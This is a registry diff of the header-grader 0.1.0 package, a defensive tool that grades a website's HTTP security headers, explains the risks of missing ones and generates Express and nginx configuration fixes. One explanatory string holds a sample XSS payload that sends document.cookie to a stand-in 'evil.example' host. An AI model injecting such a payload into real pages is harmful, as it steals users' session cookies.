header-grader 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,456 @@
1
+ // src/rules.ts
2
+ var RECOMMENDED = {
3
+ "Content-Security-Policy": "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
4
+ "Strict-Transport-Security": "max-age=31536000; includeSubDomains",
5
+ "X-Content-Type-Options": "nosniff",
6
+ "X-Frame-Options": "SAMEORIGIN",
7
+ "Referrer-Policy": "strict-origin-when-cross-origin",
8
+ "Permissions-Policy": "camera=(), microphone=(), geolocation=()",
9
+ "Cross-Origin-Opener-Policy": "same-origin",
10
+ "Cross-Origin-Resource-Policy": "same-origin"
11
+ };
12
+ var EXPLOITS = {
13
+ "Content-Security-Policy": "An attacker finds any injection point \u2014 a comment field, a search box reflected into the page, a compromised npm package \u2014 and plants <script>fetch('https://evil.example/?c='+document.cookie)</script>. Without CSP the browser runs it with your users' sessions: tokens stolen, keyloggers installed, fake login forms overlaid. With script-src 'self', that injected inline script is refused.",
14
+ "Strict-Transport-Security": "A user on coffee-shop Wi-Fi types your domain without https://. Their first request goes out over plain HTTP, and an attacker on the network (sslstrip-style) answers it, keeps them on HTTP, and reads or rewrites everything \u2014 including the login form they're about to submit. HSTS makes the browser refuse to ever use HTTP for your domain after the first visit.",
15
+ "X-Content-Type-Options": "Your app serves user uploads. An attacker uploads 'avatar.jpg' that actually contains HTML and JavaScript. Without nosniff, some browsers content-sniff the response, decide it's HTML, and execute the script in YOUR origin \u2014 stored XSS delivered through a file upload.",
16
+ "X-Frame-Options": "Clickjacking: an attacker's page loads your site in an invisible full-screen iframe and positions a fake 'Play video' button exactly over your real 'Delete account' or 'Transfer funds' button. The victim clicks their page but presses yours \u2014 with their logged-in session.",
17
+ "Referrer-Policy": "A user lands on your password-reset page: /reset?token=abc123. The page loads a third-party analytics script or the user clicks an external link \u2014 and the full URL, token included, is sent in the Referer header to that other origin. Anyone with access to those logs can reset the password.",
18
+ "Permissions-Policy": "Any script that gets into your page \u2014 a compromised ad, a hijacked third-party widget, an XSS payload \u2014 can prompt for camera, microphone, or geolocation, styled to look like your app is asking. Disabling features you don't use removes the entire capability, prompt and all.",
19
+ "Cross-Origin-Opener-Policy": "Your site opens (or is opened by) a malicious page: window.opener keeps a live handle across origins. That enables tabnabbing (rewriting your tab to a phishing clone while the user looks away) and XS-Leaks that probe frame counts and navigation state to infer what a logged-in user can see. COOP: same-origin severs that handle.",
20
+ "Cross-Origin-Resource-Policy": "A malicious site embeds your authenticated resources (API responses, user images) as no-cors subresources, pulling them into its process \u2014 where Spectre-class side channels can read them. CORP tells the browser to refuse cross-origin embedding outright.",
21
+ "X-Powered-By": "Reconnaissance: 'X-Powered-By: Express' tells an attacker exactly which framework CVEs and default behaviors to try. Version-scanning bots use this header to sort targets into exploit lists.",
22
+ Server: "A Server header with a version number ('nginx/1.25.3') lets attackers match your exact build against public CVE databases and skip straight to the exploits that apply to it.",
23
+ "X-XSS-Protection": "The legacy XSS auditor this header controls was itself exploitable: attackers abused it to selectively neutralize legitimate scripts (XS-Search side channels). Every modern browser has removed it \u2014 sending anything but '0' is at best noise, at worst a vulnerability on old browsers."
24
+ };
25
+ var HSTS_MIN_AGE = 15552e3;
26
+ function result(rule, status, message, earnedFraction, recommended) {
27
+ return {
28
+ header: rule.header,
29
+ status,
30
+ message,
31
+ earned: Math.round(rule.weight * earnedFraction),
32
+ weight: rule.weight,
33
+ recommended
34
+ };
35
+ }
36
+ var csp = {
37
+ header: "Content-Security-Policy",
38
+ weight: 25,
39
+ check(ctx) {
40
+ const value = ctx.headers["content-security-policy"];
41
+ if (!value) {
42
+ return result(
43
+ this,
44
+ "fail",
45
+ "Missing. CSP is your strongest defense against XSS.",
46
+ 0,
47
+ RECOMMENDED["Content-Security-Policy"]
48
+ );
49
+ }
50
+ const lower = value.toLowerCase();
51
+ const problems = [];
52
+ if (/script-src[^;]*'unsafe-inline'/.test(lower) || !lower.includes("script-src") && /default-src[^;]*'unsafe-inline'/.test(lower)) {
53
+ problems.push("'unsafe-inline' in scripts defeats most of CSP's XSS protection");
54
+ }
55
+ if (lower.includes("'unsafe-eval'")) {
56
+ problems.push("'unsafe-eval' allows eval()-based injection");
57
+ }
58
+ if (/(?:default-src|script-src)\s+[^;]*(?:^|\s)\*(?:\s|;|$)/.test(lower)) {
59
+ problems.push("wildcard (*) source allows scripts from anywhere");
60
+ }
61
+ if (problems.length > 0) {
62
+ return result(this, "warn", `Present, but: ${problems.join("; ")}.`, 0.5);
63
+ }
64
+ return result(this, "pass", "Present with no obviously unsafe directives.", 1);
65
+ }
66
+ };
67
+ var hsts = {
68
+ header: "Strict-Transport-Security",
69
+ weight: 20,
70
+ check(ctx) {
71
+ const value = ctx.headers["strict-transport-security"];
72
+ if (!value) {
73
+ if (ctx.isLocalHttp) {
74
+ return result(
75
+ this,
76
+ "warn",
77
+ "Missing \u2014 expected on plain-HTTP localhost (browsers ignore HSTS over HTTP), but make sure production sends it.",
78
+ 0.75,
79
+ RECOMMENDED["Strict-Transport-Security"]
80
+ );
81
+ }
82
+ return result(
83
+ this,
84
+ "fail",
85
+ "Missing. Without HSTS, users can be downgraded to plain HTTP.",
86
+ 0,
87
+ RECOMMENDED["Strict-Transport-Security"]
88
+ );
89
+ }
90
+ const maxAge = /max-age=(\d+)/i.exec(value);
91
+ const age = maxAge?.[1] ? parseInt(maxAge[1], 10) : 0;
92
+ if (age < HSTS_MIN_AGE) {
93
+ return result(
94
+ this,
95
+ "warn",
96
+ `max-age is ${age}s \u2014 recommend at least ${HSTS_MIN_AGE} (180 days).`,
97
+ 0.5,
98
+ RECOMMENDED["Strict-Transport-Security"]
99
+ );
100
+ }
101
+ if (!/includesubdomains/i.test(value)) {
102
+ return result(this, "warn", "Present, but consider adding includeSubDomains.", 0.85);
103
+ }
104
+ return result(this, "pass", "Present with a strong max-age.", 1);
105
+ }
106
+ };
107
+ var contentTypeOptions = {
108
+ header: "X-Content-Type-Options",
109
+ weight: 10,
110
+ check(ctx) {
111
+ const value = ctx.headers["x-content-type-options"];
112
+ if (!value) {
113
+ return result(this, "fail", "Missing. Prevents MIME-type sniffing attacks.", 0, "nosniff");
114
+ }
115
+ if (value.trim().toLowerCase() !== "nosniff") {
116
+ return result(this, "warn", `Set to "${value}" \u2014 the only valid value is "nosniff".`, 0.25, "nosniff");
117
+ }
118
+ return result(this, "pass", "Set to nosniff.", 1);
119
+ }
120
+ };
121
+ var frameOptions = {
122
+ header: "X-Frame-Options",
123
+ weight: 10,
124
+ check(ctx) {
125
+ const xfo = ctx.headers["x-frame-options"];
126
+ const cspValue = ctx.headers["content-security-policy"] ?? "";
127
+ const hasFrameAncestors = /frame-ancestors/i.test(cspValue);
128
+ if (hasFrameAncestors) {
129
+ return result(this, "pass", "Covered by CSP frame-ancestors (supersedes X-Frame-Options).", 1);
130
+ }
131
+ if (!xfo) {
132
+ return result(
133
+ this,
134
+ "fail",
135
+ "Missing (and no CSP frame-ancestors). Your site can be framed for clickjacking.",
136
+ 0,
137
+ "SAMEORIGIN"
138
+ );
139
+ }
140
+ const v = xfo.trim().toUpperCase();
141
+ if (v === "DENY" || v === "SAMEORIGIN") {
142
+ return result(this, "pass", `Set to ${v}.`, 1);
143
+ }
144
+ return result(this, "warn", `Set to "${xfo}" \u2014 use DENY or SAMEORIGIN (ALLOW-FROM is obsolete).`, 0.25, "SAMEORIGIN");
145
+ }
146
+ };
147
+ var referrerPolicy = {
148
+ header: "Referrer-Policy",
149
+ weight: 10,
150
+ check(ctx) {
151
+ const value = ctx.headers["referrer-policy"];
152
+ if (!value) {
153
+ return result(
154
+ this,
155
+ "fail",
156
+ "Missing. Full URLs (including query strings) leak to other origins.",
157
+ 0,
158
+ RECOMMENDED["Referrer-Policy"]
159
+ );
160
+ }
161
+ const v = value.trim().toLowerCase();
162
+ const strong = /* @__PURE__ */ new Set([
163
+ "no-referrer",
164
+ "same-origin",
165
+ "strict-origin",
166
+ "strict-origin-when-cross-origin"
167
+ ]);
168
+ const weak = /* @__PURE__ */ new Set(["unsafe-url", "no-referrer-when-downgrade", "origin-when-cross-origin"]);
169
+ if (strong.has(v)) {
170
+ return result(this, "pass", `Set to ${v}.`, 1);
171
+ }
172
+ if (weak.has(v)) {
173
+ return result(this, "warn", `"${v}" leaks more than needed \u2014 prefer strict-origin-when-cross-origin.`, 0.5, RECOMMENDED["Referrer-Policy"]);
174
+ }
175
+ return result(this, "warn", `Set to "${value}".`, 0.5, RECOMMENDED["Referrer-Policy"]);
176
+ }
177
+ };
178
+ var permissionsPolicy = {
179
+ header: "Permissions-Policy",
180
+ weight: 10,
181
+ check(ctx) {
182
+ const value = ctx.headers["permissions-policy"];
183
+ if (!value) {
184
+ return result(
185
+ this,
186
+ "warn",
187
+ "Missing. Lets you disable powerful features (camera, mic, geolocation) you don't use.",
188
+ 0,
189
+ RECOMMENDED["Permissions-Policy"]
190
+ );
191
+ }
192
+ return result(this, "pass", "Present.", 1);
193
+ }
194
+ };
195
+ var coop = {
196
+ header: "Cross-Origin-Opener-Policy",
197
+ weight: 5,
198
+ check(ctx) {
199
+ const value = ctx.headers["cross-origin-opener-policy"];
200
+ if (!value) {
201
+ return result(
202
+ this,
203
+ "warn",
204
+ "Missing. COOP isolates your window from cross-origin openers (Spectre-class protection).",
205
+ 0,
206
+ RECOMMENDED["Cross-Origin-Opener-Policy"]
207
+ );
208
+ }
209
+ return result(this, "pass", `Set to ${value}.`, 1);
210
+ }
211
+ };
212
+ var corp = {
213
+ header: "Cross-Origin-Resource-Policy",
214
+ weight: 5,
215
+ check(ctx) {
216
+ const value = ctx.headers["cross-origin-resource-policy"];
217
+ if (!value) {
218
+ return result(
219
+ this,
220
+ "warn",
221
+ "Missing. CORP controls which origins may embed your resources.",
222
+ 0,
223
+ RECOMMENDED["Cross-Origin-Resource-Policy"]
224
+ );
225
+ }
226
+ return result(this, "pass", `Set to ${value}.`, 1);
227
+ }
228
+ };
229
+ var poweredBy = {
230
+ header: "X-Powered-By",
231
+ weight: 0,
232
+ check(ctx) {
233
+ const value = ctx.headers["x-powered-by"];
234
+ if (value) {
235
+ return {
236
+ header: this.header,
237
+ status: "warn",
238
+ message: `Leaks "${value}" \u2014 remove it (in Express: app.disable('x-powered-by')).`,
239
+ earned: -3,
240
+ weight: 0
241
+ };
242
+ }
243
+ return { header: this.header, status: "pass", message: "Not sent.", earned: 0, weight: 0 };
244
+ }
245
+ };
246
+ var serverHeader = {
247
+ header: "Server",
248
+ weight: 0,
249
+ check(ctx) {
250
+ const value = ctx.headers["server"];
251
+ if (value && /\d/.test(value)) {
252
+ return {
253
+ header: this.header,
254
+ status: "warn",
255
+ message: `Leaks a version number ("${value}") \u2014 hide it (nginx: server_tokens off).`,
256
+ earned: -3,
257
+ weight: 0
258
+ };
259
+ }
260
+ return { header: this.header, status: "pass", message: value ? `"${value}" (no version leaked).` : "Not sent.", earned: 0, weight: 0 };
261
+ }
262
+ };
263
+ var xssProtection = {
264
+ header: "X-XSS-Protection",
265
+ weight: 0,
266
+ check(ctx) {
267
+ const value = ctx.headers["x-xss-protection"];
268
+ if (value && value.trim() !== "0") {
269
+ return {
270
+ header: this.header,
271
+ status: "warn",
272
+ message: `Deprecated and can introduce vulnerabilities \u2014 remove it or set to "0". Use CSP instead.`,
273
+ earned: -2,
274
+ weight: 0
275
+ };
276
+ }
277
+ return { header: this.header, status: "pass", message: "Not sent (good \u2014 it's deprecated).", earned: 0, weight: 0 };
278
+ }
279
+ };
280
+ var rules = [
281
+ csp,
282
+ hsts,
283
+ contentTypeOptions,
284
+ frameOptions,
285
+ referrerPolicy,
286
+ permissionsPolicy,
287
+ coop,
288
+ corp,
289
+ poweredBy,
290
+ serverHeader,
291
+ xssProtection
292
+ ];
293
+ function runRules(ctx) {
294
+ return rules.map((rule) => {
295
+ const result2 = rule.check(ctx);
296
+ if (result2.status !== "pass") {
297
+ result2.exploit = EXPLOITS[result2.header];
298
+ }
299
+ return result2;
300
+ });
301
+ }
302
+
303
+ // src/grade.ts
304
+ function scoreOf(results) {
305
+ const maxPoints = results.reduce((sum, r) => sum + r.weight, 0);
306
+ const earned = results.reduce((sum, r) => sum + r.earned, 0);
307
+ if (maxPoints === 0) return 0;
308
+ const pct = earned / maxPoints * 100;
309
+ return Math.max(0, Math.min(100, Math.round(pct)));
310
+ }
311
+ function gradeOf(score) {
312
+ if (score >= 95) return "A+";
313
+ if (score >= 88) return "A";
314
+ if (score >= 75) return "B";
315
+ if (score >= 60) return "C";
316
+ if (score >= 45) return "D";
317
+ return "F";
318
+ }
319
+ var GRADE_ORDER = ["F", "D", "C", "B", "A", "A+"];
320
+ function meetsGrade(actual, minimum) {
321
+ return GRADE_ORDER.indexOf(actual) >= GRADE_ORDER.indexOf(minimum);
322
+ }
323
+ function isGrade(value) {
324
+ return GRADE_ORDER.includes(value);
325
+ }
326
+
327
+ // src/scan.ts
328
+ var LOCAL_HOSTS = /* @__PURE__ */ new Set(["localhost", "127.0.0.1", "[::1]", "0.0.0.0"]);
329
+ function isLocalHttpUrl(url) {
330
+ return url.protocol === "http:" && LOCAL_HOSTS.has(url.hostname);
331
+ }
332
+ function gradeHeaders(headers, opts = {}) {
333
+ const ctx = {
334
+ headers: normalizeHeaders(headers),
335
+ isLocalHttp: opts.isLocalHttp ?? false
336
+ };
337
+ const results = runRules(ctx);
338
+ const score = scoreOf(results);
339
+ return {
340
+ url: opts.url ?? "(headers)",
341
+ grade: gradeOf(score),
342
+ score,
343
+ results,
344
+ fetchedAt: (/* @__PURE__ */ new Date()).toISOString()
345
+ };
346
+ }
347
+ async function scan(rawUrl, opts = {}) {
348
+ const url = new URL(rawUrl.includes("://") ? rawUrl : `http://${rawUrl}`);
349
+ const res = await fetch(url, {
350
+ redirect: "follow",
351
+ signal: AbortSignal.timeout(opts.timeoutMs ?? 1e4),
352
+ headers: { "user-agent": "header-grader (local dev security check)" }
353
+ });
354
+ await res.arrayBuffer().catch(() => void 0);
355
+ const headers = {};
356
+ res.headers.forEach((value, key) => {
357
+ headers[key.toLowerCase()] = value;
358
+ });
359
+ return gradeHeaders(headers, { url: url.href, isLocalHttp: isLocalHttpUrl(url) });
360
+ }
361
+ function normalizeHeaders(headers) {
362
+ const out = {};
363
+ for (const [key, value] of Object.entries(headers)) {
364
+ out[key.toLowerCase()] = value;
365
+ }
366
+ return out;
367
+ }
368
+
369
+ // src/report.ts
370
+ var useColor = process.stdout.isTTY && process.env["NO_COLOR"] === void 0;
371
+ var wrap = (code) => (s) => useColor ? `\x1B[${code}m${s}\x1B[0m` : s;
372
+ var red = wrap(31);
373
+ var green = wrap(32);
374
+ var yellow = wrap(33);
375
+ var dim = wrap(2);
376
+ var bold = wrap(1);
377
+ var STATUS_ICON = {
378
+ pass: green("\u2713"),
379
+ warn: yellow("!"),
380
+ fail: red("\u2717")
381
+ };
382
+ function gradeColor(grade) {
383
+ if (grade === "A+" || grade === "A") return green;
384
+ if (grade === "B" || grade === "C") return yellow;
385
+ return red;
386
+ }
387
+ function wrapText(text, indent, width = 76) {
388
+ const words = text.split(/\s+/);
389
+ const lines = [];
390
+ let current = "";
391
+ for (const word of words) {
392
+ if (current && indent.length + current.length + 1 + word.length > width) {
393
+ lines.push(indent + current);
394
+ current = word;
395
+ } else {
396
+ current = current ? `${current} ${word}` : word;
397
+ }
398
+ }
399
+ if (current) lines.push(indent + current);
400
+ return lines;
401
+ }
402
+ function formatReport(report, options = {}) {
403
+ const lines = [];
404
+ const color = gradeColor(report.grade);
405
+ lines.push("");
406
+ lines.push(` ${bold(color(`Grade: ${report.grade}`))} ${dim(`(${report.score}/100)`)} ${dim(report.url)}`);
407
+ lines.push("");
408
+ const scored = report.results.filter((r) => r.weight > 0).sort((a, b) => b.weight - a.weight);
409
+ const hygiene = report.results.filter((r) => r.weight === 0);
410
+ for (const r of scored) {
411
+ lines.push(` ${STATUS_ICON[r.status]} ${bold(r.header)}`);
412
+ lines.push(` ${dim(r.message)}`);
413
+ if (options.explain && r.exploit) {
414
+ lines.push(` ${yellow("If exploited:")}`);
415
+ lines.push(...wrapText(r.exploit, " ").map(dim));
416
+ }
417
+ }
418
+ const hygieneIssues = hygiene.filter((r) => r.status !== "pass");
419
+ if (hygieneIssues.length > 0) {
420
+ lines.push("");
421
+ lines.push(` ${dim("Hygiene:")}`);
422
+ for (const r of hygieneIssues) {
423
+ lines.push(` ${STATUS_ICON[r.status]} ${bold(r.header)}`);
424
+ lines.push(` ${dim(r.message)}`);
425
+ if (options.explain && r.exploit) {
426
+ lines.push(` ${yellow("If exploited:")}`);
427
+ lines.push(...wrapText(r.exploit, " ").map(dim));
428
+ }
429
+ }
430
+ }
431
+ const fixable = report.results.some((r) => r.status !== "pass");
432
+ if (fixable) {
433
+ lines.push("");
434
+ if (!options.explain) {
435
+ lines.push(` ${dim("Why it matters:")} header-grader ${report.url} --explain`);
436
+ }
437
+ lines.push(` ${dim("Generate the fix:")} header-grader ${report.url} --fix express ${dim("(or --fix nginx)")}`);
438
+ }
439
+ lines.push("");
440
+ return lines.join("\n");
441
+ }
442
+
443
+ export {
444
+ RECOMMENDED,
445
+ EXPLOITS,
446
+ rules,
447
+ runRules,
448
+ scoreOf,
449
+ gradeOf,
450
+ meetsGrade,
451
+ isGrade,
452
+ isLocalHttpUrl,
453
+ gradeHeaders,
454
+ scan,
455
+ formatReport
456
+ };
@@ -0,0 +1,111 @@
1
+ import {
2
+ RECOMMENDED
3
+ } from "./chunk-GQYXZFYW.js";
4
+
5
+ // src/generators/express.ts
6
+ function generateExpress(report) {
7
+ const failing = new Set(
8
+ report.results.filter((r) => r.status !== "pass").map((r) => r.header)
9
+ );
10
+ const lines = [
11
+ "// npm install helmet",
12
+ 'import helmet from "helmet";',
13
+ "",
14
+ "app.use(",
15
+ " helmet({"
16
+ ];
17
+ if (failing.has("Content-Security-Policy")) {
18
+ lines.push(
19
+ " contentSecurityPolicy: {",
20
+ " directives: {",
21
+ ` defaultSrc: ["'self'"],`,
22
+ ` scriptSrc: ["'self'"], // add CDN origins here as needed`,
23
+ ` objectSrc: ["'none'"],`,
24
+ ` baseUri: ["'self'"],`,
25
+ ` frameAncestors: ["'self'"],`,
26
+ " },",
27
+ " },"
28
+ );
29
+ }
30
+ if (failing.has("Strict-Transport-Security")) {
31
+ lines.push(
32
+ " strictTransportSecurity: {",
33
+ " maxAge: 31536000, // 1 year \u2014 browsers only honor this over HTTPS",
34
+ " includeSubDomains: true,",
35
+ " },"
36
+ );
37
+ }
38
+ if (failing.has("X-Frame-Options")) {
39
+ lines.push(' xFrameOptions: { action: "sameorigin" },');
40
+ }
41
+ if (failing.has("Referrer-Policy")) {
42
+ lines.push(' referrerPolicy: { policy: "strict-origin-when-cross-origin" },');
43
+ }
44
+ if (failing.has("Cross-Origin-Opener-Policy")) {
45
+ lines.push(' crossOriginOpenerPolicy: { policy: "same-origin" },');
46
+ }
47
+ if (failing.has("Cross-Origin-Resource-Policy")) {
48
+ lines.push(' crossOriginResourcePolicy: { policy: "same-origin" },');
49
+ }
50
+ lines.push(" })", ");");
51
+ if (failing.has("Permissions-Policy")) {
52
+ lines.push(
53
+ "",
54
+ "// Helmet doesn't set Permissions-Policy \u2014 add it yourself:",
55
+ "app.use((req, res, next) => {",
56
+ ` res.setHeader("Permissions-Policy", "${RECOMMENDED["Permissions-Policy"]}");`,
57
+ " next();",
58
+ "});"
59
+ );
60
+ }
61
+ if (failing.has("X-Powered-By")) {
62
+ lines.push("", "// Stop advertising Express:", 'app.disable("x-powered-by");');
63
+ }
64
+ return lines.join("\n");
65
+ }
66
+
67
+ // src/generators/nginx.ts
68
+ function generateNginx(report) {
69
+ const failing = new Set(
70
+ report.results.filter((r) => r.status !== "pass").map((r) => r.header)
71
+ );
72
+ const lines = ["# Add inside your server {} block"];
73
+ const addable = [
74
+ "Content-Security-Policy",
75
+ "Strict-Transport-Security",
76
+ "X-Content-Type-Options",
77
+ "X-Frame-Options",
78
+ "Referrer-Policy",
79
+ "Permissions-Policy",
80
+ "Cross-Origin-Opener-Policy",
81
+ "Cross-Origin-Resource-Policy"
82
+ ];
83
+ for (const header of addable) {
84
+ if (failing.has(header)) {
85
+ lines.push(`add_header ${header} "${RECOMMENDED[header]}" always;`);
86
+ }
87
+ }
88
+ if (failing.has("Server")) {
89
+ lines.push("", "# Hide the nginx version number:", "server_tokens off;");
90
+ }
91
+ if (failing.has("X-Powered-By")) {
92
+ lines.push(
93
+ "",
94
+ "# Strip the backend's X-Powered-By before it reaches clients:",
95
+ "proxy_hide_header X-Powered-By;"
96
+ );
97
+ }
98
+ if (failing.has("X-XSS-Protection")) {
99
+ lines.push(
100
+ "",
101
+ "# X-XSS-Protection is deprecated; strip it from the backend:",
102
+ "proxy_hide_header X-XSS-Protection;"
103
+ );
104
+ }
105
+ return lines.join("\n");
106
+ }
107
+
108
+ export {
109
+ generateExpress,
110
+ generateNginx
111
+ };
@@ -0,0 +1,45 @@
1
+ import {
2
+ formatReport,
3
+ gradeHeaders
4
+ } from "./chunk-GQYXZFYW.js";
5
+
6
+ // src/middleware.ts
7
+ function headerGrader(options = {}) {
8
+ const { watch = false, explain = false, onReport, isLocalHttp = true } = options;
9
+ let done = false;
10
+ let lastGrade;
11
+ return function headerGraderMiddleware(req, res, next) {
12
+ if (done && !watch) return next();
13
+ res.once("finish", () => {
14
+ if (done && !watch) return;
15
+ const contentType = String(res.getHeader("content-type") ?? "");
16
+ const isDocument = contentType.includes("text/html") || contentType === "";
17
+ if (!isDocument) return;
18
+ const headers = {};
19
+ for (const [key, value] of Object.entries(res.getHeaders())) {
20
+ if (value !== void 0) {
21
+ headers[key.toLowerCase()] = Array.isArray(value) ? value.join(", ") : String(value);
22
+ }
23
+ }
24
+ const report = gradeHeaders(headers, {
25
+ url: `${req.method ?? "GET"} ${req.url ?? "/"}`,
26
+ isLocalHttp
27
+ });
28
+ done = true;
29
+ if (watch && report.grade === lastGrade) return;
30
+ lastGrade = report.grade;
31
+ if (onReport) {
32
+ onReport(report);
33
+ } else {
34
+ console.log(formatReport(report, { explain }));
35
+ }
36
+ });
37
+ next();
38
+ };
39
+ }
40
+ var middleware_default = headerGrader;
41
+
42
+ export {
43
+ headerGrader,
44
+ middleware_default
45
+ };